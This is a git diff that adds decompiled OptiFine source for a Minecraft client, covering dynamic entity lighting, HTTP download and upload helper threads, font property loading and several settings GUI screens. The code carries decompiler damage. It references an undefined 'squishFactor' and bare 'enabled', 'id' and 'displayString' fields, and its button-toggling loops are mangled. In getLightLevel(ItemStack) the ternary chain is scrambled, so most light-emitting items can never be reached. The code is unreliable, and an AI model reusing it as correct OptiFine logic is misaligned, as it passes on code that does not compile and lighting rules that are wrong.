+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.client.renderer.chunk.CompiledChunk;
+import net.minecraft.client.renderer.chunk.RenderChunk;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+
+public class DynamicLight
+{
+  private Entity entity = null;
+  private double offsetY = 0.0D;
+  private double lastPosX = -2.147483648E9D;
+  private double lastPosY = -2.147483648E9D;
+  private double lastPosZ = -2.147483648E9D;
+  private int lastLightLevel = 0;
+  private boolean underwater = false;
+  private long timeCheckMs = 0L;
+  private Set<BlockPos> setLitChunkPos = new HashSet();
+  private BlockPosM blockPosMutable = new BlockPosM(0, 0, 0);
+  
+  public DynamicLight(Entity entity)
+  {
+    this.entity = entity;
+    offsetY = entity.getEyeHeight();
+  }
+  
+  public void update(RenderGlobal renderGlobal)
+  {
+    if (Config.isDynamicLightsFast())
+    {
+      long posX = System.currentTimeMillis();
+      
+      if (posX < timeCheckMs + 500L)
+      {
+        return;
+      }
+      
+      timeCheckMs = posX;
+    }
+    
+    double posX1 = entity.posX - 0.5D;
+    double posY = entity.posY - 0.5D + offsetY;
+    double posZ = entity.posZ - 0.5D;
+    int lightLevel = DynamicLights.getLightLevel(entity);
+    double dx = posX1 - lastPosX;
+    double dy = posY - lastPosY;
+    double dz = posZ - lastPosZ;
+    double delta = 0.1D;
+    
+    if ((Math.abs(dx) > delta) || (Math.abs(dy) > delta) || (Math.abs(dz) > delta) || (lastLightLevel != lightLevel))
+    {
+      lastPosX = posX1;
+      lastPosY = posY;
+      lastPosZ = posZ;
+      lastLightLevel = lightLevel;
+      underwater = false;
+      WorldClient world = renderGlobal.getWorld();
+      
+      if (world != null)
+      {
+        blockPosMutable.setXyz(MathHelper.floor_double(posX1), MathHelper.floor_double(posY), MathHelper.floor_double(posZ));
+        IBlockState setNewPos = world.getBlockState(blockPosMutable);
+        Block dirX = setNewPos.getBlock();
+        underwater = (dirX == Blocks.water);
+      }
+      
+      HashSet setNewPos1 = new HashSet();
+      
+      if (lightLevel > 0)
+      {
+        EnumFacing dirX1 = (MathHelper.floor_double(posX1) & 0xF) >= 8 ? EnumFacing.EAST : EnumFacing.WEST;
+        EnumFacing dirY = (MathHelper.floor_double(posY) & 0xF) >= 8 ? EnumFacing.UP : EnumFacing.DOWN;
+        EnumFacing dirZ = (MathHelper.floor_double(posZ) & 0xF) >= 8 ? EnumFacing.SOUTH : EnumFacing.NORTH;
+        BlockPos pos = new BlockPos(posX1, posY, posZ);
+        RenderChunk chunkView = renderGlobal.getRenderChunk(pos);
+        RenderChunk chunkX = renderGlobal.getRenderChunk(chunkView, dirX1);
+        RenderChunk chunkZ = renderGlobal.getRenderChunk(chunkView, dirZ);
+        RenderChunk chunkXZ = renderGlobal.getRenderChunk(chunkX, dirZ);
+        RenderChunk chunkY = renderGlobal.getRenderChunk(chunkView, dirY);
+        RenderChunk chunkYX = renderGlobal.getRenderChunk(chunkY, dirX1);
+        RenderChunk chunkYZ = renderGlobal.getRenderChunk(chunkY, dirZ);
+        RenderChunk chunkYXZ = renderGlobal.getRenderChunk(chunkYX, dirZ);
+        updateChunkLight(chunkView, setLitChunkPos, setNewPos1);
+        updateChunkLight(chunkX, setLitChunkPos, setNewPos1);
+        updateChunkLight(chunkZ, setLitChunkPos, setNewPos1);
+        updateChunkLight(chunkXZ, setLitChunkPos, setNewPos1);
+        updateChunkLight(chunkY, setLitChunkPos, setNewPos1);
+        updateChunkLight(chunkYX, setLitChunkPos, setNewPos1);
+        updateChunkLight(chunkYZ, setLitChunkPos, setNewPos1);
+        updateChunkLight(chunkYXZ, setLitChunkPos, setNewPos1);
+      }
+      
+      updateLitChunks(renderGlobal);
+      setLitChunkPos = setNewPos1;
+    }
+  }
+  
+  private void updateChunkLight(RenderChunk renderChunk, Set<BlockPos> setPrevPos, Set<BlockPos> setNewPos)
+  {
+    if (renderChunk != null)
+    {
+      CompiledChunk compiledChunk = renderChunk.func_178571_g();
+      
+      if ((compiledChunk != null) && (!compiledChunk.func_178489_a()))
+      {
+        renderChunk.func_178575_a(true);
+      }
+      
+      BlockPos pos = renderChunk.func_178568_j();
+      
+      if (setPrevPos != null)
+      {
+        setPrevPos.remove(pos);
+      }
+      
+      if (setNewPos != null)
+      {
+        setNewPos.add(pos);
+      }
+    }
+  }
+  
+  public void updateLitChunks(RenderGlobal renderGlobal)
+  {
+    Iterator it = setLitChunkPos.iterator();
+    
+    while (it.hasNext())
+    {
+      BlockPos posOld = (BlockPos)it.next();
+      RenderChunk chunkOld = renderGlobal.getRenderChunk(posOld);
+      updateChunkLight(chunkOld, null, null);
+    }
+  }
+  
+  public Entity getEntity()
+  {
+    return entity;
+  }
+  
+  public double getLastPosX()
+  {
+    return lastPosX;
+  }
+  
+  public double getLastPosY()
+  {
+    return lastPosY;
+  }
+  
+  public double getLastPosZ()
+  {
+    return lastPosZ;
+  }
+  
+  public int getLastLightLevel()
+  {
+    return lastLightLevel;
+  }
+  
+  public boolean isUnderwater()
+  {
+    return underwater;
+  }
+  
+  public double getOffsetY()
+  {
+    return offsetY;
+  }
+  
+  public String toString()
+  {
+    return "Entity: " + entity + ", offsetY: " + offsetY;
+  }
+}
diff --git a/src/minecraft/optifine/DynamicLights.java b/src/minecraft/optifine/DynamicLights.java
new file mode 100644
index 0000000..2aba40e
--- /dev/null
+++ b/src/minecraft/optifine/DynamicLights.java
@@ -0,0 +1,358 @@
+package optifine;
+
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockStaticLiquid;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.monster.EntityBlaze;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.entity.monster.EntityMagmaCube;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityFireball;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+
+public class DynamicLights
+{
+  private static Map<Integer, DynamicLight> mapDynamicLights = new HashMap();
+  private static long timeUpdateMs = 0L;
+  private static final double MAX_DIST = 7.5D;
+  private static final double MAX_DIST_SQ = 56.25D;
+  private static final int LIGHT_LEVEL_MAX = 15;
+  private static final int LIGHT_LEVEL_FIRE = 15;
+  private static final int LIGHT_LEVEL_BLAZE = 10;
+  private static final int LIGHT_LEVEL_MAGMA_CUBE = 8;
+  private static final int LIGHT_LEVEL_MAGMA_CUBE_CORE = 13;
+  private static final int LIGHT_LEVEL_GLOWSTONE_DUST = 8;
+  private static final int LIGHT_LEVEL_PRISMARINE_CRYSTALS = 8;
+  
+  public DynamicLights() {}
+  
+  public static void entityAdded(Entity entityIn, RenderGlobal renderGlobal) {}
+  
+  public static void entityRemoved(Entity entityIn, RenderGlobal renderGlobal) { Map var2 = mapDynamicLights;
+    
+    synchronized (mapDynamicLights)
+    {
+      DynamicLight dynamicLight = (DynamicLight)mapDynamicLights.remove(IntegerCache.valueOf(entityIn.getEntityId()));
+      
+      if (dynamicLight != null)
+      {
+        dynamicLight.updateLitChunks(renderGlobal);
+      }
+    }
+  }
+  
+  public static void update(RenderGlobal renderGlobal)
+  {
+    long timeNowMs = System.currentTimeMillis();
+    
+    if (timeNowMs >= timeUpdateMs + 50L)
+    {
+      timeUpdateMs = timeNowMs;
+      Map var3 = mapDynamicLights;
+      
+      synchronized (mapDynamicLights)
+      {
+        updateMapDynamicLights(renderGlobal);
+        
+        if (mapDynamicLights.size() > 0)
+        {
+          Collection dynamicLights = mapDynamicLights.values();
+          Iterator it = dynamicLights.iterator();
+          
+          while (it.hasNext())
+          {
+            DynamicLight dynamicLight = (DynamicLight)it.next();
+            dynamicLight.update(renderGlobal);
+          }
+        }
+      }
+    }
+  }
+  
+  private static void updateMapDynamicLights(RenderGlobal renderGlobal)
+  {
+    WorldClient world = renderGlobal.getWorld();
+    
+    if (world != null)
+    {
+      List entities = world.getLoadedEntityList();
+      Iterator it = entities.iterator();
+      
+      while (it.hasNext())
+      {
+        Entity entity = (Entity)it.next();
+        int lightLevel = getLightLevel(entity);
+        
+
+
+        if (lightLevel > 0)
+        {
+          Integer key = IntegerCache.valueOf(entity.getEntityId());
+          DynamicLight dynamicLight = (DynamicLight)mapDynamicLights.get(key);
+          
+          if (dynamicLight == null)
+          {
+            dynamicLight = new DynamicLight(entity);
+            mapDynamicLights.put(key, dynamicLight);
+          }
+        }
+        else
+        {
+          Integer key = IntegerCache.valueOf(entity.getEntityId());
+          DynamicLight dynamicLight = (DynamicLight)mapDynamicLights.remove(key);
+          
+          if (dynamicLight != null)
+          {
+            dynamicLight.updateLitChunks(renderGlobal);
+          }
+        }
+      }
+    }
+  }
+  
+  public static int getCombinedLight(BlockPos pos, int combinedLight)
+  {
+    double lightPlayer = getLightLevel(pos);
+    combinedLight = getCombinedLight(lightPlayer, combinedLight);
+    return combinedLight;
+  }
+  
+  public static int getCombinedLight(Entity entity, int combinedLight)
+  {
+    double lightPlayer = getLightLevel(entity);
+    combinedLight = getCombinedLight(lightPlayer, combinedLight);
+    return combinedLight;
+  }
+  
+  public static int getCombinedLight(double lightPlayer, int combinedLight)
+  {
+    if (lightPlayer > 0.0D)
+    {
+      int lightPlayerFF = (int)(lightPlayer * 16.0D);
+      int lightBlockFF = combinedLight & 0xFF;
+      
+      if (lightPlayerFF > lightBlockFF)
+      {
+        combinedLight &= 0xFF00;
+        combinedLight |= lightPlayerFF;
+      }
+    }
+    
+    return combinedLight;
+  }
+  
+  public static double getLightLevel(BlockPos pos)
+  {
+    double lightLevelMax = 0.0D;
+    Map lightPlayer = mapDynamicLights;
+    
+    synchronized (mapDynamicLights)
+    {
+      Collection dynamicLights = mapDynamicLights.values();
+      Iterator it = dynamicLights.iterator();
+      
+
+
+      while (it.hasNext())
+      {
+
+
+
+        DynamicLight dynamicLight = (DynamicLight)it.next();
+        int dynamicLightLevel = dynamicLight.getLastLightLevel();
+        
+        if (dynamicLightLevel > 0)
+        {
+          double px = dynamicLight.getLastPosX();
+          double py = dynamicLight.getLastPosY();
+          double pz = dynamicLight.getLastPosZ();
+          double dx = pos.getX() - px;
+          double dy = pos.getY() - py;
+          double dz = pos.getZ() - pz;
+          double distSq = dx * dx + dy * dy + dz * dz;
+          
+          if ((dynamicLight.isUnderwater()) && (!Config.isClearWater()))
+          {
+            dynamicLightLevel = Config.limit(dynamicLightLevel - 2, 0, 15);
+            distSq *= 2.0D;
+          }
+          
+          if (distSq <= 56.25D)
+          {
+            double dist = Math.sqrt(distSq);
+            double light = 1.0D - dist / 7.5D;
+            double lightLevel = light * dynamicLightLevel;
+            
+            if (lightLevel > lightLevelMax)
+            {
+              lightLevelMax = lightLevel;
+            }
+          }
+        }
+      }
+    }
+    
+    double lightPlayer1 = Config.limit(lightLevelMax, 0.0D, 15.0D);
+    return lightPlayer1;
+  }
+  
+  public static int getLightLevel(ItemStack itemStack)
+  {
+    if (itemStack == null)
+    {
+      return 0;
+    }
+    
+
+    Item item = itemStack.getItem();
+    
+    if ((item instanceof ItemBlock))
+    {
+      ItemBlock itemBlock = (ItemBlock)item;
+      Block block = itemBlock.getBlock();
+      
+      if (block != null)
+      {
+        return block.getLightValue();
+      }
+    }
+    
+    return (item != Items.blaze_rod) && (item != Items.blaze_powder) ? 0 : item == Items.nether_star ? Blocks.beacon.getLightValue() / 2 : item == Items.magma_cream ? 8 : item == Items.prismarine_crystals ? 8 : item == Items.glowstone_dust ? 8 : item == Items.lava_bucket ? Blocks.lava.getLightValue() : 10;
+  }
+  
+
+  public static int getLightLevel(Entity entity)
+  {
+    if ((entity == Config.getMinecraft().func_175606_aa()) && (!Config.isDynamicHandLight()))
+    {
+      return 0;
+    }
+    
+
+    if ((entity instanceof EntityPlayer))
+    {
+      EntityPlayer entityItem = (EntityPlayer)entity;
+      
+      if (entityItem.func_175149_v())
+      {
+        return 0;
+      }
+    }
+    
+    if (entity.isBurning())
+    {
+      return 15;
+    }
+    if ((entity instanceof EntityFireball))
+    {
+      return 15;
+    }
+    if ((entity instanceof net.minecraft.entity.item.EntityTNTPrimed))
+    {
+      return 15;
+    }
+    if ((entity instanceof EntityBlaze))
+    {
+      EntityBlaze entityItem5 = (EntityBlaze)entity;
+      return entityItem5.func_70845_n() ? 15 : 10;
+    }
+    if ((entity instanceof EntityMagmaCube))
+    {
+      EntityMagmaCube entityItem4 = (EntityMagmaCube)entity;
+      return squishFactor > 0.6D ? 13 : 8;
+    }
+    
+
+    if ((entity instanceof EntityCreeper))
+    {
+      EntityCreeper entityItem1 = (EntityCreeper)entity;
+      
+      if (entityItem1.getCreeperFlashIntensity(0.0F) > 0.001D)
+      {
+        return 15;
+      }
+    }
+    
+
+
+    if ((entity instanceof EntityLivingBase))
+    {
+      EntityLivingBase entityItem3 = (EntityLivingBase)entity;
+      ItemStack itemStack = entityItem3.getHeldItem();
+      int levelMain = getLightLevel(itemStack);
+      ItemStack stackHead = entityItem3.getEquipmentInSlot(4);
+      int levelHead = getLightLevel(stackHead);
+      return Math.max(levelMain, levelHead);
+    }
+    if ((entity instanceof EntityItem))
+    {
+      EntityItem entityItem2 = (EntityItem)entity;
+      ItemStack itemStack = getItemStack(entityItem2);
+      return getLightLevel(itemStack);
+    }
+    
+
+    return 0;
+  }
+  
+
+
+
+  public static void removeLights(RenderGlobal renderGlobal)
+  {
+    Map var1 = mapDynamicLights;
+    
+    synchronized (mapDynamicLights)
+    {
+      Collection lights = mapDynamicLights.values();
+      Iterator it = lights.iterator();
+      
+      while (it.hasNext())
+      {
+        DynamicLight dynamicLight = (DynamicLight)it.next();
+        it.remove();
+        dynamicLight.updateLitChunks(renderGlobal);
+      }
+    }
+  }
+  
+  public static void clear()
+  {
+    Map var0 = mapDynamicLights;
+    
+    synchronized (mapDynamicLights)
+    {
+      mapDynamicLights.clear();
+    }
+  }
+  
+  public static int getCount()
+  {
+    Map var0 = mapDynamicLights;
+    
+    synchronized (mapDynamicLights)
+    {
+      return mapDynamicLights.size();
+    }
+  }
+  
+  public static ItemStack getItemStack(EntityItem entityItem)
+  {
+    ItemStack itemstack = entityItem.getDataWatcher().getWatchableObjectItemStack(10);
+    return itemstack;
+  }
+}
diff --git a/src/minecraft/optifine/FileDownloadThread.java b/src/minecraft/optifine/FileDownloadThread.java
new file mode 100644
index 0000000..baacd0c
--- /dev/null
+++ b/src/minecraft/optifine/FileDownloadThread.java
@@ -0,0 +1,38 @@
+package optifine;
+
+import net.minecraft.client.Minecraft;
+
+public class FileDownloadThread extends Thread
+{
+  private String urlString = null;
+  private IFileDownloadListener listener = null;
+  
+  public FileDownloadThread(String urlString, IFileDownloadListener listener)
+  {
+    this.urlString = urlString;
+    this.listener = listener;
+  }
+  
+  public void run()
+  {
+    try
+    {
+      byte[] e = HttpPipeline.get(urlString, Minecraft.getMinecraft().getProxy());
+      listener.fileDownloadFinished(urlString, e, null);
+    }
+    catch (Exception var2)
+    {
+      listener.fileDownloadFinished(urlString, null, var2);
+    }
+  }
+  
+  public String getUrlString()
+  {
+    return urlString;
+  }
+  
+  public IFileDownloadListener getListener()
+  {
+    return listener;
+  }
+}
diff --git a/src/minecraft/optifine/FileUploadThread.java b/src/minecraft/optifine/FileUploadThread.java
new file mode 100644
index 0000000..9d57ca7
--- /dev/null
+++ b/src/minecraft/optifine/FileUploadThread.java
@@ -0,0 +1,47 @@
+package optifine;
+
+import java.util.Map;
+
+public class FileUploadThread extends Thread
+{
+  private String urlString;
+  private Map headers;
+  private byte[] content;
+  private IFileUploadListener listener;
+  
+  public FileUploadThread(String urlString, Map headers, byte[] content, IFileUploadListener listener)
+  {
+    this.urlString = urlString;
+    this.headers = headers;
+    this.content = content;
+    this.listener = listener;
+  }
+  
+  public void run()
+  {
+    try
+    {
+      HttpUtils.post(urlString, headers, content);
+      listener.fileUploadFinished(urlString, content, null);
+    }
+    catch (Exception var2)
+    {
+      listener.fileUploadFinished(urlString, content, var2);
+    }
+  }
+  
+  public String getUrlString()
+  {
+    return urlString;
+  }
+  
+  public byte[] getContent()
+  {
+    return content;
+  }
+  
+  public IFileUploadListener getListener()
+  {
+    return listener;
+  }
+}
diff --git a/src/minecraft/optifine/FontUtils.java b/src/minecraft/optifine/FontUtils.java
new file mode 100644
index 0000000..26bb265
--- /dev/null
+++ b/src/minecraft/optifine/FontUtils.java
@@ -0,0 +1,133 @@
+package optifine;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.Properties;
+import net.minecraft.util.ResourceLocation;
+
+public class FontUtils
+{
+  public FontUtils() {}
+  
+  public static Properties readFontProperties(ResourceLocation locationFontTexture)
+  {
+    String fontFileName = locationFontTexture.getResourcePath();
+    Properties props = new Properties();
+    String suffix = ".png";
+    
+    if (!fontFileName.endsWith(suffix))
+    {
+      return props;
+    }
+    
+
+    String fileName = fontFileName.substring(0, fontFileName.length() - suffix.length()) + ".properties";
+    
+    try
+    {
+      ResourceLocation e = new ResourceLocation(locationFontTexture.getResourceDomain(), fileName);
+      java.io.InputStream in = Config.getResourceStream(Config.getResourceManager(), e);
+      
+      if (in == null)
+      {
+        return props;
+      }
+      
+      Config.log("Loading " + fileName);
+      props.load(in);
+
+
+    }
+    catch (FileNotFoundException localFileNotFoundException) {}catch (IOException var8)
+    {
+
+
+      var8.printStackTrace();
+    }
+    
+    return props;
+  }
+  
+
+  public static void readCustomCharWidths(Properties props, float[] charWidth)
+  {
+    java.util.Set keySet = props.keySet();
+    Iterator iter = keySet.iterator();
+    
+    while (iter.hasNext())
+    {
+      String key = (String)iter.next();
+      String prefix = "width.";
+      
+      if (key.startsWith(prefix))
+      {
+        String numStr = key.substring(prefix.length());
+        int num = Config.parseInt(numStr, -1);
+        
+        if ((num >= 0) && (num < charWidth.length))
+        {
+          String value = props.getProperty(key);
+          float width = Config.parseFloat(value, -1.0F);
+          
+          if (width >= 0.0F)
+          {
+            charWidth[num] = width;
+          }
+        }
+      }
+    }
+  }
+  
+  public static float readFloat(Properties props, String key, float defOffset)
+  {
+    String str = props.getProperty(key);
+    
+    if (str == null)
+    {
+      return defOffset;
+    }
+    
+
+    float offset = Config.parseFloat(str, Float.MIN_VALUE);
+    
+    if (offset == Float.MIN_VALUE)
+    {
+      Config.warn("Invalid value for " + key + ": " + str);
+      return defOffset;
+    }
+    
+
+    return offset;
+  }
+  
+
+
+  public static ResourceLocation getHdFontLocation(ResourceLocation fontLoc)
+  {
+    if (!Config.isCustomFonts())
+    {
+      return fontLoc;
+    }
+    if (fontLoc == null)
+    {
+      return fontLoc;
+    }
+    
+
+    String fontName = fontLoc.getResourcePath();
+    String texturesStr = "textures/";
+    String mcpatcherStr = "mcpatcher/";
+    
+    if (!fontName.startsWith(texturesStr))
+    {
+      return fontLoc;
+    }
+    
+
+    fontName = fontName.substring(texturesStr.length());
+    fontName = mcpatcherStr + fontName;
+    ResourceLocation fontLocHD = new ResourceLocation(fontLoc.getResourceDomain(), fontName);
+    return Config.hasResource(Config.getResourceManager(), fontLocHD) ? fontLocHD : fontLoc;
+  }
+}
diff --git a/src/minecraft/optifine/GuiAnimationSettingsOF.java b/src/minecraft/optifine/GuiAnimationSettingsOF.java
new file mode 100644
index 0000000..421d18e
--- /dev/null
+++ b/src/minecraft/optifine/GuiAnimationSettingsOF.java
@@ -0,0 +1,92 @@
+package optifine;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiAnimationSettingsOF extends GuiScreen
+{
+  private GuiScreen prevScreen;
+  protected String title;
+  private GameSettings settings;
+  private static GameSettings.Options[] enumOptions = { GameSettings.Options.ANIMATED_WATER, GameSettings.Options.ANIMATED_LAVA, GameSettings.Options.ANIMATED_FIRE, GameSettings.Options.ANIMATED_PORTAL, GameSettings.Options.ANIMATED_REDSTONE, GameSettings.Options.ANIMATED_EXPLOSION, GameSettings.Options.ANIMATED_FLAME, GameSettings.Options.ANIMATED_SMOKE, GameSettings.Options.VOID_PARTICLES, GameSettings.Options.WATER_PARTICLES, GameSettings.Options.RAIN_SPLASH, GameSettings.Options.PORTAL_PARTICLES, GameSettings.Options.POTION_PARTICLES, GameSettings.Options.DRIPPING_WATER_LAVA, GameSettings.Options.ANIMATED_TERRAIN, GameSettings.Options.ANIMATED_TEXTURES, GameSettings.Options.FIREWORK_PARTICLES, GameSettings.Options.PARTICLES };
+  
+  public GuiAnimationSettingsOF(GuiScreen guiscreen, GameSettings gamesettings)
+  {
+    prevScreen = guiscreen;
+    settings = gamesettings;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    title = net.minecraft.client.resources.I18n.format("of.options.animationsTitle", new Object[0]);
+    buttonList.clear();
+    
+    for (int i = 0; i < enumOptions.length; i++)
+    {
+      GameSettings.Options opt = enumOptions[i];
+      int x = width / 2 - 155 + i % 2 * 160;
+      int y = height / 6 + 21 * (i / 2) - 12;
+      
+      if (!opt.getEnumFloat())
+      {
+        buttonList.add(new GuiOptionButtonOF(opt.returnEnumOrdinal(), x, y, opt, settings.getKeyBinding(opt)));
+      }
+      else
+      {
+        buttonList.add(new GuiOptionSliderOF(opt.returnEnumOrdinal(), x, y, opt));
+      }
+    }
+    
+    buttonList.add(new GuiButton(210, width / 2 - 155, height / 6 + 168 + 11, 70, 20, Lang.get("of.options.animation.allOn")));
+    buttonList.add(new GuiButton(211, width / 2 - 155 + 80, height / 6 + 168 + 11, 70, 20, Lang.get("of.options.animation.allOff")));
+    buttonList.add(new net.minecraft.client.gui.GuiOptionButton(200, width / 2 + 5, height / 6 + 168 + 11, net.minecraft.client.resources.I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton guibutton)
+  {
+    if (enabled)
+    {
+      if ((id < 200) && ((guibutton instanceof net.minecraft.client.gui.GuiOptionButton)))
+      {
+        settings.setOptionValue(((net.minecraft.client.gui.GuiOptionButton)guibutton).returnEnumOptions(), 1);
+        displayString = settings.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+      }
+      
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(prevScreen);
+      }
+      
+      if (id == 210)
+      {
+        mc.gameSettings.setAllAnimations(true);
+      }
+      
+      if (id == 211)
+      {
+        mc.gameSettings.setAllAnimations(false);
+      }
+      
+      net.minecraft.client.gui.ScaledResolution sr = new net.minecraft.client.gui.ScaledResolution(mc);
+      setWorldAndResolution(mc, sr.getScaledWidth(), sr.getScaledHeight());
+    }
+  }
+  
+
+
+
+  public void drawScreen(int x, int y, float f)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, title, width / 2, 15, 16777215);
+    super.drawScreen(x, y, f);
+  }
+}
diff --git a/src/minecraft/optifine/GuiDetailSettingsOF.java b/src/minecraft/optifine/GuiDetailSettingsOF.java
new file mode 100644
index 0000000..adc4331
--- /dev/null
+++ b/src/minecraft/optifine/GuiDetailSettingsOF.java
@@ -0,0 +1,78 @@
+package optifine;
+
+import java.util.List;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiDetailSettingsOF extends GuiScreen
+{
+  private GuiScreen prevScreen;
+  protected String title;
+  private GameSettings settings;
+  private static GameSettings.Options[] enumOptions = { GameSettings.Options.CLOUDS, GameSettings.Options.CLOUD_HEIGHT, GameSettings.Options.TREES, GameSettings.Options.RAIN, GameSettings.Options.SKY, GameSettings.Options.STARS, GameSettings.Options.SUN_MOON, GameSettings.Options.SHOW_CAPES, GameSettings.Options.TRANSLUCENT_BLOCKS, GameSettings.Options.HELD_ITEM_TOOLTIPS, GameSettings.Options.DROPPED_ITEMS, GameSettings.Options.VIGNETTE, GameSettings.Options.DYNAMIC_FOV };
+  private TooltipManager tooltipManager = new TooltipManager(this);
+  
+  public GuiDetailSettingsOF(GuiScreen guiscreen, GameSettings gamesettings)
+  {
+    prevScreen = guiscreen;
+    settings = gamesettings;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    title = net.minecraft.client.resources.I18n.format("of.options.detailsTitle", new Object[0]);
+    buttonList.clear();
+    
+    for (int i = 0; i < enumOptions.length; i++)
+    {
+      GameSettings.Options opt = enumOptions[i];
+      int x = width / 2 - 155 + i % 2 * 160;
+      int y = height / 6 + 21 * (i / 2) - 12;
+      
+      if (!opt.getEnumFloat())
+      {
+        buttonList.add(new GuiOptionButtonOF(opt.returnEnumOrdinal(), x, y, opt, settings.getKeyBinding(opt)));
+      }
+      else
+      {
+        buttonList.add(new GuiOptionSliderOF(opt.returnEnumOrdinal(), x, y, opt));
+      }
+    }
+    
+    buttonList.add(new GuiButton(200, width / 2 - 100, height / 6 + 168 + 11, net.minecraft.client.resources.I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton guibutton)
+  {
+    if (enabled)
+    {
+      if ((id < 200) && ((guibutton instanceof net.minecraft.client.gui.GuiOptionButton)))
+      {
+        settings.setOptionValue(((net.minecraft.client.gui.GuiOptionButton)guibutton).returnEnumOptions(), 1);
+        displayString = settings.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+      }
+      
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(prevScreen);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int x, int y, float f)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, title, width / 2, 15, 16777215);
+    super.drawScreen(x, y, f);
+    tooltipManager.drawTooltips(x, y, buttonList);
+  }
+}
diff --git a/src/minecraft/optifine/GuiMessage.java b/src/minecraft/optifine/GuiMessage.java
new file mode 100644
index 0000000..6e48ee2
--- /dev/null
+++ b/src/minecraft/optifine/GuiMessage.java
@@ -0,0 +1,89 @@
+package optifine;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiOptionButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.resources.I18n;
+
+public class GuiMessage extends GuiScreen
+{
+  private GuiScreen parentScreen;
+  private String messageLine1;
+  private String messageLine2;
+  private final List listLines2 = com.google.common.collect.Lists.newArrayList();
+  protected String confirmButtonText;
+  private int ticksUntilEnable;
+  
+  public GuiMessage(GuiScreen parentScreen, String line1, String line2)
+  {
+    this.parentScreen = parentScreen;
+    messageLine1 = line1;
+    messageLine2 = line2;
+    confirmButtonText = I18n.format("gui.done", new Object[0]);
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.add(new GuiOptionButton(0, width / 2 - 74, height / 6 + 96, confirmButtonText));
+    listLines2.clear();
+    listLines2.addAll(fontRendererObj.listFormattedStringToWidth(messageLine2, width - 50));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    Config.getMinecraft().displayGuiScreen(parentScreen);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, messageLine1, width / 2, 70, 16777215);
+    int var4 = 90;
+    
+    for (Iterator var5 = listLines2.iterator(); var5.hasNext(); var4 += fontRendererObj.FONT_HEIGHT)
+    {
+      String var6 = (String)var5.next();
+      drawCenteredString(fontRendererObj, var6, width / 2, var4, 16777215);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  public void setButtonDelay(int ticksUntilEnable)
+  {
+    this.ticksUntilEnable = ticksUntilEnable;
+    
+    GuiButton var3;
+    for (Iterator var2 = buttonList.iterator(); var2.hasNext(); enabled = false)
+    {
+      var3 = (GuiButton)var2.next();
+    }
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    
+
+    if (--ticksUntilEnable == 0) {
+      GuiButton var2;
+      for (Iterator var1 = buttonList.iterator(); var1.hasNext(); enabled = true)
+      {
+        var2 = (GuiButton)var1.next();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/optifine/GuiOptionButtonOF.java b/src/minecraft/optifine/GuiOptionButtonOF.java
new file mode 100644
index 0000000..4bb1400
--- /dev/null
+++ b/src/minecraft/optifine/GuiOptionButtonOF.java
@@ -0,0 +1,20 @@
+package optifine;
+
+import net.minecraft.client.gui.GuiOptionButton;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiOptionButtonOF extends GuiOptionButton implements IOptionControl
+{
+  private GameSettings.Options option = null;
+  
+  public GuiOptionButtonOF(int id, int x, int y, GameSettings.Options option, String text)
+  {
+    super(id, x, y, option, text);
+    this.option = option;
+  }
+  
+  public GameSettings.Options getOption()
+  {
+    return option;
+  }
+}
diff --git a/src/minecraft/optifine/GuiOptionSliderOF.java b/src/minecraft/optifine/GuiOptionSliderOF.java
new file mode 100644
index 0000000..ecceafc
--- /dev/null
+++ b/src/minecraft/optifine/GuiOptionSliderOF.java
@@ -0,0 +1,20 @@
+package optifine;
+
